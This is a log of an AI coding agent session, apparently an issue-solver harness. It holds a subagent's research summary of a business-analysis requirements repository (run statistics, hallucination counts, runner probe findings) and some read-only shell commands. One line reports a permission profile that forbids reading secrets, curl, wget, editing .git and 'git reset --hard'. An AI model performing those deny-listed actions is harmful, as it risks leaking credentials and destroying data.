P10\u2013P12)\\n  - `projects/ba-ai-process/experiments/issue_639_gap_probes.sh` and `.log`\\n  - `ops/backlog.md`: B-203 to B-210 and B-211 to B-218\\n- **Main verdict:** the direction (source \u2192 distribution \u2192 runtime \u2192 feedback, per ADR-017) is right, but nothing executes the route: the meta-model's 11 entities include no executor (\u0413-26). That executor doesn't need to be bought; it can be built out of the existing GigaCode runner.\\n- **What the probes found in the current runner:**\\n  - It ignores all 17 route conditions in the YAML and re-codes the branches in Python for 8 nodes (\u0413-28).\\n  - It accepts junk output (\u0413-29/30).\\n  - A halt cannot be resumed (\u0413-31).\\n  - One mistyped transition blocks the task permanently (\u0413-32).\\n  - It allows 0 corrective attempts where the spec allows 1 (\u0413-33).\\n- **Clients can't guarantee step order either:** chat clients, MCP and hooks all leave the order to the model (\u0413-37 to \u0413-39). Clients are also unstable, e.g. Roo Code was archived and Cline v4 renamed its tools (\u0413-41).\\n- **Recommendations:**\\n  - First, the runner leads the route on the analyst's workstation (option \u0412-1).\\n  - Then the same runner on a server with FastAPI, a state machine and Postgres, optionally LangGraph (\u0412-3/\u0412-4).\\n  - n8n only as an outer shell, never the core. It has a critical vulnerability (CVE-2026-21858, CVSS 10.0), the graph would have to be redrawn in it, its AI Agent node is non-deterministic, and the Business tier costs \u20ac667/month.\\n  - Rejected as the core: Dify, Flowise, Windmill, Kestra, Prefect, Camunda, Operaton, Temporal.\\n- **Readiness:** the runner is ready for debugging transitions but not for pilot measurements until fixes B-211 to B-213 land. All of B-211 to B-218 are TODO, with priority left for a human to set.\\n\\nA separate helper I started earlier to analyse the mango_ba_prompts history was still running when I finished. Its results are not included here.\"\n[2026-09-29T07:50:14.083Z] [INFO]       }\n[2026-09-29T07:50:14.083Z] [INFO]     ],\n[2026-09-29T07:50:14.083Z] [INFO]     \"container\": null,\n[2026-09-29T07:50:14.083Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:50:14.083Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:50:14.083Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:50:14.083Z] [INFO]     \"usage\": {\n[2026-09-29T07:50:14.083Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:50:14.083Z] [INFO]       \"cache_creation_input_tokens\": 10647,\n[2026-09-29T07:50:14.083Z] [INFO]       \"cache_read_input_tokens\": 24058,\n[2026-09-29T07:50:14.083Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:50:14.083Z] [INFO]         \"ephemeral_5m_input_tokens\": 10647,\n[2026-09-29T07:50:14.083Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:50:14.083Z] [INFO]       },\n[2026-09-29T07:50:14.083Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:50:14.083Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:50:14.083Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:50:14.083Z] [INFO]     },\n[2026-09-29T07:50:14.083Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:50:14.083Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:50:14.083Z] [INFO]     \"context_management\": null\n[2026-09-29T07:50:14.083Z] [INFO]   },\n[2026-09-29T07:50:14.083Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:50:14.083Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:14.083Z] [INFO]   \"uuid\": \"8ce63a8c-3dce-4922-ac65-cf215e1f2a87\",\n[2026-09-29T07:50:14.083Z] [INFO]   \"timestamp\": \"2026-09-29T07:50:14.057Z\",\n[2026-09-29T07:50:14.083Z] [INFO]   \"request_id\": \"req_011CfXN4xeACLAQoRSfvZPjt\",\n[2026-09-29T07:50:14.083Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:50:14.083Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:50:14.083Z] [INFO] }\n[2026-09-29T07:50:14.113Z] [INFO] {\n[2026-09-29T07:50:14.113Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:50:14.113Z] [INFO]   \"subtype\": \"background_tasks_changed\",\n[2026-09-29T07:50:14.113Z] [INFO]   \"tasks\": [],\n[2026-09-29T07:50:14.113Z] [INFO]   \"uuid\": \"27032a80-5ee1-40da-b81e-1f3deb91fcc9\",\n[2026-09-29T07:50:14.113Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:50:14.113Z] [INFO] }\n[2026-09-29T07:50:14.117Z] [INFO] {\n[2026-09-29T07:50:14.117Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:50:14.117Z] [INFO]   \"subtype\": \"task_updated\",\n[2026-09-29T07:50:14.117Z] [INFO]   \"task_id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:50:14.117Z] [INFO]   \"patch\": {\n[2026-09-29T07:50:14.117Z] [INFO]     \"status\": \"completed\",\n[2026-09-29T07:50:14.117Z] [INFO]     \"end_time\": 1790668214099\n[2026-09-29T07:50:14.117Z] [INFO]   },\n[2026-09-29T07:50:14.117Z] [INFO]   \"uuid\": \"1a44d930-c1fc-4fe0-83b7-8ba51e6e85a0\",\n[2026-09-29T07:50:14.117Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:50:14.117Z] [INFO] }\n[2026-09-29T07:50:14.145Z] [INFO] {\n[2026-09-29T07:50:14.145Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:50:14.145Z] [INFO]   \"subtype\": \"task_notification\",\n[2026-09-29T07:50:14.145Z] [INFO]   \"task_id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:50:14.145Z] [INFO]   \"tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:50:14.145Z] [INFO]   \"status\": \"completed\",\n[2026-09-29T07:50:14.145Z] [INFO]   \"output_file\": \"/tmp/claude-1001/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tasks/a8223c4e8f50f54ab.output\",\n[2026-09-29T07:50:14.145Z] [INFO]   \"summary\": \"The full report is in `/tmp/research-notes/ba-requirements.md` (about 3,300 words, every fact cited by repo path). No repository files were changed.\\n\\nTwo things up front:\\n- **The hypothesis in item 2 is not stated anywhere as one sentence.** The argument is spread across several files; the chain of evidence is below.\\n- **Branch issue-639 adds nothing to `research/ba-requirements`.** It is already merged into main, and its work lives in `projects/ba-ai-process/` (item 5). So main URLs work for everything; branch URLs point to the same files.\\n\\nURL base: `https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/`. All paths below are relative to it.\\n\\n## 1. Mango run snapshots (numbers and paths)\\n\\n**`research/ba-requirements/2026-08-25-mango-runs-empirical-snapshot.md`** (56 runs, 2026-04-10 to 2026-08-25)\\n- By status: draft 29, works-with-edits 19, partial-success 5, success 1.\\n- Totals: 1,080 episodes, 2,084 turns, 61,360,738 dialog tokens (median 720,806 per run).\\n- Hallucinations: 41 recorded across 11 runs; 12 reached the delivered output. Nine runs shipped hallucinations: RUN-0016, 0018, 0021, 0022, 0024\u20130028.\\n- Keyword counts: \\\"covered\\\" appears in 41/56 runs, \\\"discoverab\\\" in 0/56.\\n- The file's own caveats: hallucinations are logged under 3 different keys, success_rate can't be compared across runs, and metrics are filled in only 10 to 41 of 56 runs.\\n\\n**`research/ba-requirements/2026-08-26-rrp-full-cycle-corpus-facts.md`** (57 runs)\\n- Required run folders exist in 100% of runs, but that is the contract in form only.\\n- Modeling markers appear in 2/57 runs, so there is effectively no core model (C-CORE).\\n- 23/57 runs (40.4%) produce more than one document.\\n- Reliability of measurement is declared in 5/57 (8.8%).\\n- 71 distinct metric keys, none used by every run; 24 keys appear in exactly one run.\\n- No run delivered a contract-grade TZ.\\n\\n**`research/ba-requirements/2026-08-26-m0-m2-layering-hypothesis-check.md`**\\n- A linear pipeline reaches its end document in 0 of 32 runs that produced a document; a layered pipeline reaches it in 32 of 32. The owner's threshold was 80%.\\n\\n**`research/ba-requirements/2026-09-08-artifact-structure-variance-facts.md`** (67 runs)\\n- The 17 requirement documents have 17 different skeletons.\\n- Even one task (BCREQ-1074, 3 runs) produced 3 skeletons, with mean overlap (Jaccard) 0.69.\\n- There are no clean samples, so the reference Golden Set has to be synthetic.\\n\\n**`research/ba-requirements/2026-09-08-meta-model-inputs-facts.md`**\\n- 24 active prompts cover 13 capabilities.\\n- Variants of the same capability barely overlap: mean Jaccard 0.077, and 8 of 13 pairs have zero overlap.\\n- 50/67 runs reference no prompt, and 11/24 prompts are never used.\\n- 66/67 runs fall outside the process dictionary.\\n\\n**`research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md`**\\n- 10 of 12 meta-model constructs appear in none of the prompts; prompts average 1.04 constructs each.\\n- The file concludes the old corpus cannot be the basis for new contracts (this feeds ADR-014).\\n\\n**Other supporting files**\\n- `2026-09-08-kb-slot-fit-facts.md`: 860 knowledge-base sections; 0 needed a slot outside the 14-slot dictionary.\\n- `2026-09-07-ecosystem-knowledge-inventory.md`: 368 artifacts, of which only 13% are canonical and accepted.\\n- `methodology-unification/00-introduction.md`: the baseline is 2 of 32 runs with a verdict (6%) accepted without edits.\\n\\n## 2. Hypothesis and proposed fix (strict prompt + machine-readable contract + fail-closed check)\\n\\nThe evidence chain, strongest first:\\n\\n- **Theory: `research/ba-requirements/methodology-unification/10-theory.md` (sections 1 and 5)**\\n  - When the model resolves norms itself, the result varies: \\\"\u0434\u0432\u0430 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0434\u0430\u044e\u0442 \u0434\u0432\u0430 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0432\u043e\u0434\u0430 \u043d\u043e\u0440\u043c\\\" (two runs give two different sets of norms).\\n  - Rule T-1: the model's self-check cannot catch a defect that comes from its own false belief, so factual properties need a deterministic machine check (G-mach).\\n  - Rule T-2: irreversible decisions need a human gate.\\n- **Cases: `research/ba-requirements/methodology-unification/40-practice-and-cases.md`**\\n  - C-1 (RUN-0018): a strict step-by-step prompt with 8 self-check steps still logged 8 hallucinations, 1 shipped. The run's own note: \\\"\u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0430, \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442\u044c \u0444\u0430\u043a\u0442\u043e\u0432 \u043d\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0430\\\" (the prompt was followed; the facts were not made reliable).\\n  - C-2 (RUN-0063 \u2192 0064 \u2192 0067): 5 requirements described features that already existed. The defect was found two runs late, and RUN-0063 was invalidated. The proposed fix is a skill with a machine check that fails closed: \\\"\u043f\u0443\u0441\u0442\u043e\u0439 SSOT \u2014 \u043e\u0442\u043a\u0430\u0437, \u0430 \u043d\u0435 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\\\" (an empty source of truth is a refusal, not a warning). The pilot is B-131 in `50-open-research.md`.\\n- **Pipeline stages**\\n  - `normalization/00-introduction.md`: the human gate is unreliable (9/56 runs shipped hallucinations), so claims must be checkable by machine.\\n  - `artifact-rendering/00-introduction.md`: the rendering stage may not create new meaning.\\n- **Environment: `2026-09-10-gigacode-environment-facts.md`**\\n  - GC-19: the agent works where the result can be checked by machine.\\n  - GC-20: it invents whatever it doesn't know.\\n- **Why prompts alone are not enough:** legacy prompts contain almost no checkable constructs, and prompt variants overlap at Jaccard 0.077 (item 1).\\n- **A new twist from #639:** a fail-closed check must look at each step, not the whole package. In probe P10 the text \\\"lorem ipsum\\\" passed as the output of steps n1\u2013n3 (\u0413-29). The determinism metric stayed at 1.0 even with junk output (\u0413-30). The fix is backlog item B-212.\\n\\n## 3. Key conclusions per subdirectory (from each `00-introduction.md`)\\n\\n- **normalization**\\n  - Coverage assessment is the main loss (41 vs 0 keyword hits), so it should be its own operation with a gate.\\n  - 9/56 runs shipped hallucinations, so grounding must be machine-checkable.\\n  - Recommends a hybrid: a universal taxonomy plus a Mango taxonomy, linked by a correlation matrix.\\n- **methodology-unification**\\n  - There is no single BA methodology.\\n  - Norms are layered: industry \u2192 IT-telecom \u2192 Mango additions. At run time the agent gets one compiled SKILL.md and never works out the layers itself.\\n  - Only 6% of runs with a verdict were accepted without edits.\\n- **orchestration**\\n  - The route is fixed before generation, on 6 axes, at an entry gate. The resulting route sheet is a commitment.\\n  - Route rules are checked by machine, and stopping mid-route is normal.\\n  - Its verdict was \\\"a YAML file, no engine needed\\\". #639 later challenged this because nothing executes the route.\\n- **solution-modeling**\\n  - The core model is an object, not a stage, and in practice it is missing (2/57 runs).\\n  - Readability for every audience comes first; there are 12 model classes. Mango covers 6/12 classes and 4/9 invariants.\\n  - Tools to build or buy: StrictDoc, Doorstop, Sphinx-Needs, ReqIF.\\n- **artifact-micro-structure**\\n  - 17 documents have 17 skeletons, so headings must be separated from meaning.\\n  - UI and acceptance criteria are folded into functional requirements.\\n  - One artifact is shown in 3 views (business, approval, developer). The synthetic Golden Set is mandatory and part of the machine check.\\n- **artifact-rendering**\\n  - Rendering is assembly, not writing; no new meaning may appear at this stage.\\n  - Three render modes (deterministic, generative, hybrid), which differ in what can be proven.\\n  - A fully deterministic render may be impossible for a TZ.\\n- **feedback-and-evolution**\\n  - Without feedback the pipeline cannot learn: 100% of runs deliver documents, but only 8.8% say how they were measured. There are 71 metric keys.\\n  - The first task is a closure-record schema.\\n  - Keep execution, decision and process quality separate.\\n\\n## 4. GigaCode, skill granularity, taxonomy defects\\n\\n**GigaCode (`research/ba-requirements/2026-09-10-gigacode-environment-facts.md`, facts GC-1 to GC-28)**\\n- All 11 vendor documentation pages were reachable (HTTP 200).\\n- Skills live in `.agents/skills//SKILL.md`; only name and description are required, and they load in stages.\\n- Agents are defined in `.opencode/agent/*.md`, with modes and permissions.\\n- The profile forbids reading secrets, editing `.git`, curl, wget and `git reset --hard`. There are 42 MCP tools.\\n- Vendor stance: \\\"\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u0430, \u0430 \u043d\u0435 \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0430\\\" (a check must be shown, not claimed).\\n- Scope rule: a short rule belongs in AGENTS.md; anything needing its own permissions or isolated context should be an agent.\\n- The owner's \\\"1M-token hard limit\\\" is not in the documentation (verification is B-162). How a human gate would work is also undocumented.\\n\\n**Skill granularity (`research/ba-requirements/2026-09-10-skill-granularity-format-facts.md`)**\\n- GigaCode sets no limit on how big a skill can be.\\n- Control returns to the analyst in 10/10 step-by-step prompts and 0/14 others, a perfect split.\\n- All 9/9 one-shot prompts contain an internal algorithm, so \\\"one-shot = atomic\\\" is refuted.\\n- None of 33 skills is a single operation; each uses 2\u20137.\\n- 21 of 31 operations are reused by 3 or more skills. check-schema leads with 11.\\n\\n**Taxonomy defects (`research/ba-requirements/2026-09-10-process-taxonomy-defects-facts.md`, D1\u2013D8)**\\n- D1: FR and TZ are merged in 29 places, though the ontology has two separate types (A18, and A19 per GOST 34.602-2020).\\n- D2: \\\"draft\\\" is used as a process boundary, although it is a lifecycle state.\\n- D3: 7 of 13 operations have more than one output class.\\n- D4: 8 of 13 operation definitions list mixed results.\\n- D5: Mango has 6 subprocesses; the hub has none.\\n- D6: the System, User and Subprocess entities are missing.\\n- D7: 66/67 runs fall outside the dictionary.\\n- **Discrepancy:** `research/ba-requirements/README.md` describes D3 and D4 differently from the facts file. Cite the facts file, not the README.\\n\\n## 5. Branch issue-639 vs main\\n\\n- Branch `issue-639-405767e7672e` (tip 836faaf) was merged via PR #643 (d718616) and has no commits beyond main. `research/ba-requirements` is identical on both.\\n- **Files the branch added (now on main):**\\n  - `projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md` (508 lines)\\n  - `projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md` (hypotheses \u0413-01 to \u0413-25)\\n  - `projects/ba-ai-process/experiments/issue_639_runner_probes.py` and `.log` (probes P10\u2013P12)\\n  - `projects/ba-ai-process/experiments/issue_639_gap_probes.sh` and `.log`\\n  - `ops/backlog.md`: B-203 to B-210 and B-211 to B-218\\n- **Main verdict:** the direction (source \u2192 distribution \u2192 runtime \u2192 feedback, per ADR-017) is right, but nothing executes the route: the meta-model's 11 entities include no executor (\u0413-26). That executor doesn't need to be bought; it can be built out of the existing GigaCode runner.\\n- **What the probes found in the current runner:**\\n  - It ignores all 17 route conditions in the YAML and re-codes the branches in Python for 8 nodes (\u0413-28).\\n  - It accepts junk output (\u0413-29/30).\\n  - A halt cannot be resumed (\u0413-31).\\n  - One mistyped transition blocks the task permanently (\u0413-32).\\n  - It allows 0 corrective attempts where the spec allows 1 (\u0413-33).\\n- **Clients can't guarantee step order either:** chat clients, MCP and hooks all leave the order to the model (\u0413-37 to \u0413-39). Clients are also unstable, e.g. Roo Code was archived and Cline v4 renamed its tools (\u0413-41).\\n- **Recommendations:**\\n  - First, the runner leads the route on the analyst's workstation (option \u0412-1).\\n  - Then the same runner on a server with FastAPI, a state machine and Postgres, optionally LangGraph (\u0412-3/\u0412-4).\\n  - n8n only as an outer shell, never the core. It has a critical vulnerability (CVE-2026-21858, CVSS 10.0), the graph would have to be redrawn in it, its AI Agent node is non-deterministic, and the Business tier costs \u20ac667/month.\\n  - Rejected as the core: Dify, Flowise, Windmill, Kestra, Prefect, Camunda, Operaton, Temporal.\\n- **Readiness:** the runner is ready for debugging transitions but not for pilot measurements until fixes B-211 to B-213 land. All of B-211 to B-218 are TODO, with priority left for a human to set.\\n\\nA separate helper I started earlier to analyse the mango_ba_prompts history was still running when I finished. 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53,\n[2026-09-29T07:50:18.252Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:50:18.252Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:18.252Z] [INFO]   \"uuid\": \"759fd9ab-5038-4069-ae23-bf271ccf0f48\"\n[2026-09-29T07:50:18.252Z] [INFO] }\n[2026-09-29T07:50:18.255Z] [INFO] {\n[2026-09-29T07:50:18.255Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:50:18.255Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:50:18.255Z] [INFO]   \"estimated_tokens\": 54,\n[2026-09-29T07:50:18.255Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:50:18.255Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:18.255Z] [INFO]   \"uuid\": \"a9186d7a-f67c-41e3-b4b0-6af219153470\"\n[2026-09-29T07:50:18.255Z] [INFO] }\n[2026-09-29T07:50:18.259Z] [INFO] {\n[2026-09-29T07:50:18.259Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:50:18.259Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:50:18.259Z] [INFO]   \"estimated_tokens\": 198,\n[2026-09-29T07:50:18.259Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:50:18.259Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:18.259Z] [INFO]   \"uuid\": \"b89500d0-b05e-4a66-b718-7b8871702f8f\"\n[2026-09-29T07:50:18.259Z] [INFO] }\n[2026-09-29T07:50:18.266Z] [INFO] {\n[2026-09-29T07:50:18.266Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:50:18.266Z] [INFO]   \"message\": {\n[2026-09-29T07:50:18.266Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:50:18.266Z] [INFO]     \"id\": \"msg_011CfXN7yVLx3QXdtvTVXwBH\",\n[2026-09-29T07:50:18.266Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:50:18.266Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:50:18.266Z] [INFO]     \"content\": [\n[2026-09-29T07:50:18.266Z] [INFO]       {\n[2026-09-29T07:50:18.266Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:50:18.266Z] [INFO]         \"thinking\": \"The facts check out except for the product-taxonomy count and the forensics quote, which need corrected wording\u2014I'll fix both and add the timeline from the completed `mango_ba_prompts` analysis.\\n\\n\",\n[2026-09-29T07:50:18.266Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T07:50:18.266Z] [INFO]     ],\n[2026-09-29T07:50:18.266Z] [INFO]     \"container\": null,\n[2026-09-29T07:50:18.266Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:50:18.266Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:50:18.266Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:50:18.266Z] [INFO]     \"usage\": {\n[2026-09-29T07:50:18.266Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:50:18.266Z] [INFO]       \"cache_creation_input_tokens\": 522,\n[2026-09-29T07:50:18.266Z] [INFO]       \"cache_read_input_tokens\": 83387,\n[2026-09-29T07:50:18.266Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:50:18.266Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:50:18.266Z] [INFO]         \"ephemeral_1h_input_tokens\": 522\n[2026-09-29T07:50:18.266Z] [INFO]       },\n[2026-09-29T07:50:18.266Z] [INFO]       \"output_tokens\": 7,\n[2026-09-29T07:50:18.266Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:50:18.266Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:50:18.266Z] [INFO]     },\n[2026-09-29T07:50:18.266Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:50:18.266Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:50:18.266Z] [INFO]     \"context_management\": null\n[2026-09-29T07:50:18.266Z] [INFO]   },\n[2026-09-29T07:50:18.266Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:50:18.266Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:18.266Z] [INFO]   \"uuid\": \"925b860a-2fbf-45ab-8cf8-6497964a22c8\",\n[2026-09-29T07:50:18.266Z] [INFO]   \"timestamp\": \"2026-09-29T07:50:18.159Z\",\n[2026-09-29T07:50:18.266Z] [INFO]   \"request_id\": \"req_011CfXN7y4Z5Urs3bfoDbuSa\",\n[2026-09-29T07:50:18.266Z] [INFO]   \"narration_block_indexes\": [\n[2026-09-29T07:50:18.266Z] [INFO]     0\n[2026-09-29T07:50:18.266Z] [INFO]   ]\n[2026-09-29T07:50:18.266Z] [INFO] }\n[2026-09-29T07:50:18.643Z] [INFO] {\n[2026-09-29T07:50:18.643Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:50:18.643Z] [INFO]   \"message\": {\n[2026-09-29T07:50:18.643Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:50:18.643Z] [INFO]     \"id\": \"msg_011CfXN7yVLx3QXdtvTVXwBH\",\n[2026-09-29T07:50:18.643Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:50:18.643Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:50:18.643Z] [INFO]     \"content\": [\n[2026-09-29T07:50:18.643Z] [INFO]       {\n[2026-09-29T07:50:18.643Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:50:18.643Z] [INFO]         \"id\": \"toolu_01Ahg6syNiQgg7PSagonHoZk\",\n[2026-09-29T07:50:18.643Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:50:18.643Z] [INFO]         \"input\": {\n[2026-09-29T07:50:18.643Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process; head -40 dist/execution-package-gigacode-cli/taxonomy/projections.yaml; grep -rn \\\"V-DEV\\\\|V-CONTRACT\\\" dist/execution-package-gigacode-cli/templates/bcreq-skeleton.md dist/execution-package-gigacode-cli/package-manifest.yaml | head -5 | cut -c1-250\",\n[2026-09-29T07:50:18.643Z] [INFO]           \"description\": \"Check projections implementation state\"\n[2026-09-29T07:50:18.643Z] [INFO]         },\n[2026-09-29T07:50:18.643Z] [INFO]         \"caller\": {\n[2026-09-29T07:50:18.643Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:50:18.643Z] [INFO]         }\n[2026-09-29T07:50:18.643Z] [INFO]       }\n[2026-09-29T07:50:18.643Z] [INFO]     ],\n[2026-09-29T07:50:18.643Z] [INFO]     \"container\": null,\n[2026-09-29T07:50:18.643Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:50:18.643Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:50:18.643Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:50:18.643Z] [INFO]     \"usage\": {\n[2026-09-29T07:50:18.643Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:50:18.643Z] [INFO]       \"cache_creation_input_tokens\": 522,\n[2026-09-29T07:50:18.643Z] [INFO]       \"cache_read_input_tokens\": 83387,\n[2026-09-29T07:50:18.643Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:50:18.643Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:50:18.643Z] [INFO]         \"ephemeral_1h_input_tokens\": 522\n[2026-09-29T07:50:18.643Z] [INFO]       },\n[2026-09-29T07:50:18.643Z] [INFO]       \"output_tokens\": 7,\n[2026-09-29T07:50:18.643Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:50:18.643Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:50:18.643Z] [INFO]     },\n[2026-09-29T07:50:18.643Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:50:18.643Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:50:18.643Z] [INFO]     \"context_management\": null\n[2026-09-29T07:50:18.643Z] [INFO]   },\n[2026-09-29T07:50:18.643Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:50:18.643Z] [INFO]   \"session_id\": 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[INFO]         \"utilization\": 0.77,\n[2026-09-29T07:50:18.675Z] [INFO]         \"resetsAt\": 1790679600\n[2026-09-29T07:50:18.675Z] [INFO]       }\n[2026-09-29T07:50:18.675Z] [INFO]     }\n[2026-09-29T07:50:18.675Z] [INFO]   },\n[2026-09-29T07:50:18.675Z] [INFO]   \"uuid\": \"20898dbf-be0d-44ba-9e5e-1b7753fb0532\",\n[2026-09-29T07:50:18.675Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:50:18.675Z] [INFO] }\n[2026-09-29T07:50:20.086Z] [INFO] {\n[2026-09-29T07:50:20.086Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:50:20.086Z] [INFO]   \"message\": {\n[2026-09-29T07:50:20.086Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:50:20.086Z] [INFO]     \"content\": [\n[2026-09-29T07:50:20.086Z] [INFO]       {\n[2026-09-29T07:50:20.086Z] [INFO]         \"tool_use_id\": \"toolu_01Ahg6syNiQgg7PSagonHoZk\",\n[2026-09-29T07:50:20.086Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:50:20.086Z] [INFO]         \"content\": \"# \u0417\u0430\u043a\u0440\u044b\u0442\u044b\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 A-BCREQ. \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u044f \u2014 \u0447\u0442\u0435\u043d\u0438\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u0438 \u0442\u043e\u0433\u043e\\n# \u0436\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430, \u0430 \u043d\u0435 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442: \u0441\u043a\u0435\u043b\u0435\u0442 \u0438\u0437 14 \u0441\u043b\u043e\u0442\u043e\u0432 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442\\n# \u0432\u0441\u0435\u0433\u0434\u0430, \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f \u0437\u0430\u0434\u0430\u0451\u0442, \u043a\u0430\u043a\u0438\u0435 \u0441\u043b\u043e\u0442\u044b \u043e\u0431\u044f\u0437\u0430\u043d\u044b \u0431\u044b\u0442\u044c \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b \u0434\u043b\u044f \u0430\u0434\u0440\u0435\u0441\u0430\u0442\u0430 \u0438\\n# \u043a\u0430\u043a\u0430\u044f \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u043d\u0435\u0433\u043e 